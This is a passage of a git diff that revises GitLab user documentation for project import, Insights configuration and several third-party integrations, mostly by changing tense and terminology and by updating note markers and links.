you'll need to follow the instructions for [exporting a project](../settings/import_export.md#exporting-a-project-and-its-data)
diff --git a/doc/user/project/import/img/gemnasium/connect_github.png b/doc/user/project/import/img/gemnasium/connect_github.png
deleted file mode 100644
index fae62e8d840..00000000000
--- a/doc/user/project/import/img/gemnasium/connect_github.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/import/img/gemnasium/connect_github_v13_5.png b/doc/user/project/import/img/gemnasium/connect_github_v13_5.png
new file mode 100644
index 00000000000..575d257a213
--- /dev/null
+++ b/doc/user/project/import/img/gemnasium/connect_github_v13_5.png
Binary files differ
diff --git a/doc/user/project/import/img/gemnasium/create_project.png b/doc/user/project/import/img/gemnasium/create_project.png
deleted file mode 100644
index 8edbf711629..00000000000
--- a/doc/user/project/import/img/gemnasium/create_project.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/import/img/gemnasium/create_project_v13_5.png b/doc/user/project/import/img/gemnasium/create_project_v13_5.png
new file mode 100644
index 00000000000..37467bc3fed
--- /dev/null
+++ b/doc/user/project/import/img/gemnasium/create_project_v13_5.png
Binary files differ
diff --git a/doc/user/project/import/img/gemnasium/select_project.png b/doc/user/project/import/img/gemnasium/select_project.png
deleted file mode 100644
index 588c5ca7ce1..00000000000
--- a/doc/user/project/import/img/gemnasium/select_project.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/import/img/gemnasium/select_project_v13_5.png b/doc/user/project/import/img/gemnasium/select_project_v13_5.png
new file mode 100644
index 00000000000..30575954811
--- /dev/null
+++ b/doc/user/project/import/img/gemnasium/select_project_v13_5.png
Binary files differ
diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md
index a113758495a..754c3e31799 100644
--- a/doc/user/project/import/index.md
+++ b/doc/user/project/import/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migrating projects to a GitLab instance
@@ -47,7 +47,7 @@ All GitLab user associations (such as comment author) will be changed to the use
If you need to migrate all data over, you can leverage our [API](../../../api/README.md) to migrate from self-managed to GitLab.com.
The order of assets to migrate from a self-managed instance to GitLab.com is the following:
-NOTE: **Note:**
+NOTE:
When migrating to GitLab.com, users would need to be manually created unless [SCIM](../../../user/group/saml_sso/scim_setup.md) is going to be used. Creating users with the API is limited to self-managed instances as it requires administrator access.
1. [Groups](../../../api/groups.md)
@@ -61,7 +61,7 @@ Docker pulls and pushes and re-run any CI pipelines to retrieve any build artifa
## Migrating from GitLab.com to self-managed GitLab
-The process is essentially the same as for [migrating from self-managed GitLab to GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom). The main difference is that users can be created on the self-managed GitLab instance by an admin through the UI or the [users API](../../../api/users.md#user-creation).
+The process is essentially the same as for [migrating from self-managed GitLab to GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom). The main difference is that users can be created on the self-managed GitLab instance by an administrator through the UI or the [users API](../../../api/users.md#user-creation).
## Migrating between two self-managed GitLab instances
@@ -73,4 +73,4 @@ then restore it on the new server.
In the event of merging two GitLab instances together (for example, both instances have existing data on them and one can't be wiped),
refer to the instructions in [Migrating from self-managed GitLab to GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom).
-Additionally, you can migrate users using the [Users API](../../../api/users.md) with an admin user.
+Additionally, you can migrate users using the [Users API](../../../api/users.md) with an administrator user.
diff --git a/doc/user/project/import/jira.md b/doc/user/project/import/jira.md
index 7f179865f4f..5fb737cf74a 100644
--- a/doc/user/project/import/jira.md
+++ b/doc/user/project/import/jira.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import your Jira project issues to GitLab
@@ -33,7 +33,7 @@ Our parser for converting text in Jira issues to GitLab Flavored Markdown is onl
Jira V3 REST API.
There is an [epic](https://gitlab.com/groups/gitlab-org/-/epics/2738) tracking the addition of
-items, such as issue assignees, comments, and much more. These will be included in the future
+items, such as issue assignees, comments, and much more. These are included in the future
iterations of the GitLab Jira importer.
## Prerequisites
@@ -56,7 +56,7 @@ Make sure you have the integration set up before trying to import Jira issues.
To import Jira issues to a GitLab project, follow the steps below.
-NOTE: **Note:**
+NOTE:
Importing Jira issues is done as an asynchronous background job, which
may result in delays based on import queues load, system load, or other factors.
Importing large projects may take several minutes depending on the size of the import.
@@ -76,7 +76,7 @@ Importing large projects may take several minutes depending on the size of the i
1. Click the **Import from** dropdown and select the Jira project that you wish to import issues from.
In the **Jira-GitLab user mapping template** section, the table shows to which GitLab users your Jira
- users will be mapped.
+ users are mapped.
When the form appears, the dropdown defaults to the user conducting the import.
1. To change any of the mappings, click the dropdown in the **GitLab username** column and
@@ -88,6 +88,6 @@ Importing large projects may take several minutes depending on the size of the i
1. Click **Continue**. You're presented with a confirmation that import has started.
While the import is running in the background, you can navigate away from the import status page
- to the issues page, and you'll see the new issues appearing in the issues list.
+ to the issues page, and you can see the new issues appearing in the issues list.
1. To check the status of your import, go to the Jira import page again.
diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md
index ba1e2011d08..6ef91a54987 100644
--- a/doc/user/project/import/manifest.md
+++ b/doc/user/project/import/manifest.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import multiple repositories by uploading a manifest file
diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md
index 4ccc34efe30..85c8a3020b9 100644
--- a/doc/user/project/import/perforce.md
+++ b/doc/user/project/import/perforce.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migrating from Perforce Helix
@@ -35,7 +35,7 @@ Git:
## Why migrate
-Perforce Helix can be difficult to manage both from a user and an admin
+Perforce Helix can be difficult to manage both from a user and an administrator
perspective. Migrating to Git/GitLab there is:
- **No licensing costs**, Git is GPL while Perforce Helix is proprietary.
diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md
index a19068199db..189afac1226 100644
--- a/doc/user/project/import/phabricator.md
+++ b/doc/user/project/import/phabricator.md
@@ -2,13 +2,20 @@
type: howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import Phabricator tasks into a GitLab project
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0.
+WARNING:
+The Phabricator task importer is in
+[beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) and is
+[**not** complete](https://gitlab.com/gitlab-org/gitlab/-/issues/284406). It imports
+only an issue's title and description. The GitLab project created during the import
+process contains only issues, and the associated repository is disabled.
+
GitLab allows you to import all tasks from a Phabricator instance into
GitLab issues. The import creates a single project with the
repository disabled.
diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md
index 5c53b6eaf06..0e8cc159aec 100644
--- a/doc/user/project/import/repo_by_url.md
+++ b/doc/user/project/import/repo_by_url.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import project from repository by URL
diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md
index d5f4a014705..3642d07106c 100644
--- a/doc/user/project/import/svn.md
+++ b/doc/user/project/import/svn.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migrating from SVN to GitLab
diff --git a/doc/user/project/import/tfs.md b/doc/user/project/import/tfs.md
index 7b3b11b9519..31f9b200558 100644
--- a/doc/user/project/import/tfs.md
+++ b/doc/user/project/import/tfs.md
@@ -3,3 +3,6 @@ redirect_to: 'tfvc.md'
---
This document was moved to [another location](tfvc.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/import/tfvc.md b/doc/user/project/import/tfvc.md
index cbc25552873..0d347a16697 100644
--- a/doc/user/project/import/tfvc.md
+++ b/doc/user/project/import/tfvc.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts
---
@@ -38,7 +38,7 @@ Advantages of migrating to Git/GitLab:
- **No licensing costs:** Git is open source, while TFVC is proprietary.
- **Shorter learning curve:** Git has a big community and a vast number of
tutorials to get you started (see our [Git topic](../../../topics/git/index.md)).
-- **Integration with modern tools:** After migrating to Git and GitLab, you will have
+- **Integration with modern tools:** After migrating to Git and GitLab, you have
an open source, end-to-end software development platform with built-in version
control, issue tracking, code review, CI/CD, and more.
diff --git a/doc/user/project/index.md b/doc/user/project/index.md
index 333c72a65b1..e3079c3731d 100644
--- a/doc/user/project/index.md
+++ b/doc/user/project/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -50,7 +50,7 @@ When you create a project in GitLab, you'll have access to a large number of
- [Merge Request Approvals](merge_requests/merge_request_approvals.md): Ask for approval before
implementing a change **(STARTER)**
- [Fix merge conflicts from the UI](merge_requests/resolve_conflicts.md):
- Your Git diff tool right from GitLab's UI
+ Your Git diff tool right from the GitLab UI
- [Review Apps](../../ci/review_apps/index.md): Live preview the results
of the changes proposed in a merge request in a per-branch basis
- [Labels](labels.md): Organize issues and merge requests by labels
@@ -69,7 +69,7 @@ When you create a project in GitLab, you'll have access to a large number of
**GitLab CI/CD:**
-- [GitLab CI/CD](../../ci/README.md): GitLab's built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool
+- [GitLab CI/CD](../../ci/README.md): the GitLab built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool
- [Container Registry](../packages/container_registry/index.md): Build and push Docker
images out-of-the-box
- [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy): Configure GitLab CI/CD
@@ -100,7 +100,7 @@ When you create a project in GitLab, you'll have access to a large number of
- [Insights](insights/index.md): configure the Insights that matter for your projects. **(ULTIMATE)**
- [Security Dashboard](../application_security/security_dashboard/index.md): Security Dashboard. **(ULTIMATE)**
- [Syntax highlighting](highlighting.md): an alternative to customize
- your code blocks, overriding GitLab's default choice of language.
+ your code blocks, overriding the GitLab default choice of language.
- [Badges](badges.md): badges for the project overview.
- [Releases](releases/index.md): a way to track deliverables in your project as snapshot in time of
the source, build output, other metadata, and other artifacts
@@ -327,7 +327,7 @@ login <gitlab_user_name>
password <personal_access_token>
```
-NOTE: **Note:**
+NOTE:
On Windows, Go reads `~/_netrc` instead of `~/.netrc`.
### Authenticate Git fetches
@@ -374,6 +374,16 @@ project `https://gitlab.com/gitlab-org/gitlab`), the repository can be cloned
using the alias (e.g `git clone git@gitlab.com:gitlab.git` instead of
`git clone git@gitlab.com:gitlab-org/gitlab.git`).
+## Project activity analytics overview **(ULTIMATE ONLY)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in GitLab [Ultimate](https://about.gitlab.com/pricing/) 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta).
+
+Project details include the following analytics:
+
+- Deployment Frequency
+
+For more information, see [Project Analytics API](../../api/project_analytics.md).
+
## Project APIs
There are numerous [APIs](../../api/README.md) to use with your projects:
@@ -394,3 +404,4 @@ There are numerous [APIs](../../api/README.md) to use with your projects:
- [Traffic](../../api/project_statistics.md)
- [Variables](../../api/project_level_variables.md)
- [Aliases](../../api/project_aliases.md)
+- [Analytics](../../api/project_analytics.md)
diff --git a/doc/user/project/insights/index.md b/doc/user/project/insights/index.md
index eaef0b8d69f..1efb3583fbf 100644
--- a/doc/user/project/insights/index.md
+++ b/doc/user/project/insights/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Insights **(ULTIMATE)**
@@ -14,7 +14,7 @@ requests to be merged and much more.
![Insights example bar chart](img/project_insights.png)
-NOTE: **Note:**
+NOTE:
This feature is [also available at the group level](../../group/insights/index.md).
## View your project's Insights
@@ -27,26 +27,26 @@ link in the left sidebar:
## Configure your Insights
Insights are configured using a YAML file called `.gitlab/insights.yml` within
-a project. That file will then be used in the project's Insights page.
+a project. That file is used in the project's Insights page.
See [Writing your `.gitlab/insights.yml`](#writing-your-gitlabinsightsyml) below
for details about the content of this file.
-NOTE: **Note:**
-Once the configuration file is created, you can also
+NOTE:
+After the configuration file is created, you can also
[use it for your project's group](../../group/insights/index.md#configure-your-insights).
-NOTE: **Note:**
-If the project doesn't have any configuration file, it'll try to use
+NOTE:
+If the project doesn't have any configuration file, it attempts to use
the group configuration if possible. If the group doesn't have any
-configuration, the default configuration will be used.
+configuration, the default configuration is used.
## Permissions
If you have access to view a project, then you have access to view their
Insights.
-NOTE: **Note:**
+NOTE:
Issues or merge requests that you don't have access to (because you don't have
access to the project they belong to, or because they are confidential) are
filtered out of the Insights charts.
@@ -56,11 +56,11 @@ You may also consult the [group permissions table](../../permissions.md#group-me
## Writing your `.gitlab/insights.yml`
The `.gitlab/insights.yml` file defines the structure and order of the Insights
-charts that will be displayed in each Insights page of your project or group.
+charts displayed in each Insights page of your project or group.
Each page has a unique key and a collection of charts to fetch and display.
-For example, here's a single definition for Insights that will display one page with one chart:
+For example, here's a single definition for Insights that displays one page with one chart:
```yaml
bugsCharts:
@@ -103,8 +103,8 @@ The following table lists available parameters for charts:
| Keyword | Description |
|:---------------------------------------------------|:------------|
-| [`title`](#title) | The title of the chart. This will displayed on the Insights page. |
-| [`description`](#description) | A description for the individual chart. This will be displayed above the relevant chart. |
+| [`title`](#title) | The title of the chart. This displays on the Insights page. |
+| [`description`](#description) | A description for the individual chart. This displays above the relevant chart. |
| [`type`](#type) | The type of chart: `bar`, `line` or `stacked-bar`. |
| [`query`](#query) | A hash that defines the conditions for issues / merge requests to be part of the chart. |
@@ -115,7 +115,7 @@ Insights charts.
### `title`
-`title` is the title of the chart as it will be displayed on the Insights page.
+`title` is the title of the chart as it displays on the Insights page.
For example:
```yaml
@@ -187,14 +187,14 @@ Defines the type of "issuable" you want to create a chart for.
Supported values are:
-- `issue`: The chart will display issues' data.
-- `merge_request`: The chart will display merge requests' data.
+- `issue`: The chart displays issues' data.
+- `merge_request`: The chart displays merge requests' data.
#### `query.issuable_state`
Filter by the state of the queried "issuable".
-By default, the `opened` state filter will be applied.
+By default, the `opened` state filter is applied.
Supported values are:
@@ -208,7 +208,7 @@ Supported values are:
Filter by labels applied to the queried "issuable".
-By default, no labels filter will be applied. All the defined labels must be
+By default, no labels filter is applied. All the defined labels must be
applied to the "issuable" in order for it to be selected.
Example:
@@ -229,7 +229,7 @@ monthlyBugsCreated:
Group "issuable" by the configured labels.
-By default, no grouping will be done. When using this keyword, you need to
+By default, no grouping is done. When using this keyword, you need to
set `type` to either `line` or `stacked-bar`.
Example:
@@ -268,7 +268,7 @@ The unit is related to the `query.group_by` you defined. For instance if you
defined `query.group_by: 'day'` then `query.period_limit: 365` would mean
"Gather and display data for the last 365 days".
-By default, default values will be applied depending on the `query.group_by`
+By default, default values are applied depending on the `query.group_by`
you defined.
| `query.group_by` | Default value |
@@ -293,10 +293,9 @@ The `period_field` is automatically set to:
- `merged_at` if `query.issuable_state` is `merged`
- `created_at` otherwise
-NOTE: **Note:**
-Until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/26911), is resolved, you may see `created_at`
-in place of `merged_at`.
-`created_at` will be used instead.
+NOTE:
+Until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/26911), is resolved,
+you may see `created_at` in place of `merged_at`. `created_at` is used instead.
### `projects`
@@ -304,22 +303,22 @@ in place of `merged_at`.
You can limit where the "issuables" can be queried from:
-- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group will be used.
-- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects will yield no results. By default, the project itself will be used.
+- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group are used.
+- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects yields no results. By default, the project itself is used.
#### `projects.only`
The `projects.only` option specifies the projects which the "issuables"
should be queried from.
-Projects listed here will be ignored when:
+Projects listed here are ignored when:
- They don't exist.
- The current user doesn't have sufficient permissions to read them.
- They are outside of the group.
In the following `insights.yml` example, we specify the projects
-the queries will be used on. This example is useful when setting
+the queries are used on. This example is useful when setting
a group's insights:
```yaml
diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md
index 9cade323ed2..30a21dd7f66 100644
--- a/doc/user/project/integrations/bamboo.md
+++ b/doc/user/project/integrations/bamboo.md
@@ -1,14 +1,14 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Atlassian Bamboo CI Service
GitLab provides integration with Atlassian Bamboo for continuous integration.
-When configured, pushes to a project will trigger a build in Bamboo automatically.
-Merge requests will also display CI status showing whether the build is pending,
+When configured, pushes to a project trigger a build in Bamboo automatically.
+Merge requests also display CI status showing whether the build is pending,
failed, or completed successfully. It also provides a link to the Bamboo build
page for more information.
@@ -56,12 +56,12 @@ service in GitLab.
access to trigger the build plan. Leave these fields blank if you do not require
authentication.
1. Save or optionally click 'Test Settings'. Please note that 'Test Settings'
- will actually trigger a build in Bamboo.
+ actually triggers a build in Bamboo.
## Troubleshooting
If builds are not triggered, ensure you entered the right GitLab IP address in
Bamboo under 'Trigger IP addresses'. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures.
-NOTE: **Note:**
+NOTE:
Starting with GitLab 8.14.0, builds are triggered on push events.
diff --git a/doc/user/project/integrations/bugzilla.md b/doc/user/project/integrations/bugzilla.md
index 2ed14a4c69c..4e2ee9b3662 100644
--- a/doc/user/project/integrations/bugzilla.md
+++ b/doc/user/project/integrations/bugzilla.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Bugzilla Service
@@ -16,7 +16,7 @@ in the table below.
| `issues_url` | The URL to the issue in Bugzilla project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. |
| `new_issue_url` | This is the URL to create a new issue in Bugzilla for the project linked to this GitLab project. Note that the `new_issue_url` requires PRODUCT_NAME to be updated with the product/project name in Bugzilla. |
-Once you have configured and enabled Bugzilla you'll see the Bugzilla link on the GitLab project pages that takes you to the appropriate Bugzilla project.
+Once you have configured and enabled Bugzilla, you see the Bugzilla link on the GitLab project pages that takes you to the appropriate Bugzilla project.
## Referencing issues in Bugzilla
@@ -27,7 +27,7 @@ Issues in Bugzilla can be referenced in two alternative ways:
then followed by capital letters, numbers or underscores, and `<ID>` is
a number (example `API_32-143`).
-We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker the internal issue will be linked.
+We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker, the internal issue is linked.
Please note that `<PROJECT>` part is ignored and links always point to the
address specified in `issues_url`.
diff --git a/doc/user/project/integrations/custom_issue_tracker.md b/doc/user/project/integrations/custom_issue_tracker.md
index 1329f584fdc..143f0e2a25d 100644
--- a/doc/user/project/integrations/custom_issue_tracker.md
+++ b/doc/user/project/integrations/custom_issue_tracker.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Custom Issue Tracker service
@@ -11,7 +11,7 @@ To enable the Custom Issue Tracker integration in a project:
1. Go to **Settings > Integrations**.
1. Click **Custom Issue Tracker**
1. Fill in the tracker's details, such as title, description, and URLs.
- You will be able to edit these fields later as well.
+ You can edit these fields later as well.
These are some of the required fields:
@@ -19,11 +19,11 @@ To enable the Custom Issue Tracker integration in a project:
| --------------- | ----------- |
| **Project URL** | The URL to the project in the custom issue tracker. |
| **Issues URL** | The URL to the issue in the issue tracker project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. For example, `https://customissuetracker.com/project-name/:id`. |
- | **New issue URL** | Currently unused. Will be changed in a future release. |
+ | **New issue URL** | Currently unused. Planned to be changed in a future release. |
1. Click **Test settings and save changes**.
-After you configure and enable the Custom Issue Tracker service, you'll see a link on the GitLab
+After you configure and enable the Custom Issue Tracker service, you see a link on the GitLab
project pages that takes you to that custom issue tracker.
## Referencing issues
diff --git a/doc/user/project/integrations/discord_notifications.md b/doc/user/project/integrations/discord_notifications.md
index f261362eeae..8e0a167a968 100644
--- a/doc/user/project/integrations/discord_notifications.md
+++ b/doc/user/project/integrations/discord_notifications.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Discord Notifications service
@@ -17,7 +17,7 @@ To send GitLab event notifications to a Discord channel, create a webhook in Dis
1. Open the Discord channel you want to receive GitLab event notifications.
1. From the channel menu, select **Edit channel**.
1. Click on **Webhooks** menu item.
-1. Click the **Create Webhook** button and fill in the name of the bot that will post the messages. Optionally, edit the avatar.
+1. Click the **Create Webhook** button and fill in the name of the bot to post the messages. Optionally, edit the avatar.
1. Note the URL from the **WEBHOOK URL** field.
1. Click the **Save** button.
@@ -32,4 +32,4 @@ With the webhook URL created in the Discord channel, you can set up the Discord
1. Paste the webhook URL that you copied from the create Discord webhook step.
1. Configure the remaining options and click the **Save changes** button.
-The Discord channel you created the webhook for will now receive notification of the GitLab events that were configured.
+The Discord channel you created the webhook for now receives notification of the GitLab events that were configured.
diff --git a/doc/user/project/integrations/emails_on_push.md b/doc/user/project/integrations/emails_on_push.md
index d8b864e0396..2274913d349 100644
--- a/doc/user/project/integrations/emails_on_push.md
+++ b/doc/user/project/integrations/emails_on_push.md
@@ -1,12 +1,12 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Enabling emails on push
-By enabling this service, you will receive email notifications for every change
+By enabling this service, you receive email notifications for every change
that is pushed to your project.
From the [Integrations page](overview.md#accessing-integrations)
@@ -16,8 +16,8 @@ In the _Recipients_ area, provide a list of emails separated by spaces or newlin
The following options are available:
-- **Push events** - Email will be triggered when a push event is received.
-- **Tag push events** - Email will be triggered when a tag is created and pushed.
+- **Push events** - Email is triggered when a push event is received.
+- **Tag push events** - Email is triggered when a tag is created and pushed.
- **Send from committer** - Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. `user@gitlab.com`).
- **Disable code diffs** - Don't include possibly sensitive code diffs in notification body.
diff --git a/doc/user/project/integrations/ewm.md b/doc/user/project/integrations/ewm.md
index 822483a1d5b..434ae760aff 100644
--- a/doc/user/project/integrations/ewm.md
+++ b/doc/user/project/integrations/ewm.md
@@ -1,14 +1,14 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# IBM Engineering Workflow Management (EWM) Integration **(CORE)**
This service allows you to navigate from GitLab to EWM work items mentioned in merge request descriptions and commit messages. Each work item reference is automatically converted to a link back to the work item.
-NOTE: **Note:**
+NOTE:
This IBM product was [formerly named Rational Team Concert](https://jazz.net/blog/index.php/2019/04/23/renaming-the-ibm-continuous-engineering-portfolio/)(RTC). This integration is also compatible with all versions of RTC and EWM.
1. From a GitLab project, navigate to **Settings > Integrations**, and then click **EWM**.
diff --git a/doc/user/project/integrations/generic_alerts.md b/doc/user/project/integrations/generic_alerts.md
index 0e8e082859b..1fbbee36173 100644
--- a/doc/user/project/integrations/generic_alerts.md
+++ b/doc/user/project/integrations/generic_alerts.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/generic_alerts.md'
---
This document was moved to [another location](../../../operations/incident_management/generic_alerts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/github.md b/doc/user/project/integrations/github.md
index 29818e862e0..5ef36ff4074 100644
--- a/doc/user/project/integrations/github.md
+++ b/doc/user/project/integrations/github.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitHub project integration **(PREMIUM)**
@@ -20,7 +20,7 @@ and is automatically configured on [GitHub import](../../../integration/github.m
### Complete these steps on GitHub
-This integration requires a [GitHub API token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token)
+This integration requires a [GitHub API token](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token)
with `repo:status` access granted:
1. Go to your "Personal access tokens" page at <https://github.com/settings/tokens>
@@ -49,8 +49,7 @@ to configure pipelines to run for open pull requests.
This makes it possible to mark these status checks as _Required_ on GitHub.
With **Static status check names** enabled on the integration page, your
-GitLab instance host name is going to be appended to a status check name,
-whereas in case of dynamic status check names, a branch name is going to be
-appended.
+GitLab instance host name is appended to a status check name,
+whereas in case of dynamic status check names, a branch name is appended.
![Configure GitHub Project Integration](img/github_configuration.png)
diff --git a/doc/user/project/integrations/gitlab_slack_application.md b/doc/user/project/integrations/gitlab_slack_application.md
index 62fccb22d36..8344baebd82 100644
--- a/doc/user/project/integrations/gitlab_slack_application.md
+++ b/doc/user/project/integrations/gitlab_slack_application.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Slack application **(FREE ONLY)**
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - Introduced in GitLab 9.4.
> - Distributed to Slack App Directory in GitLab 10.2.
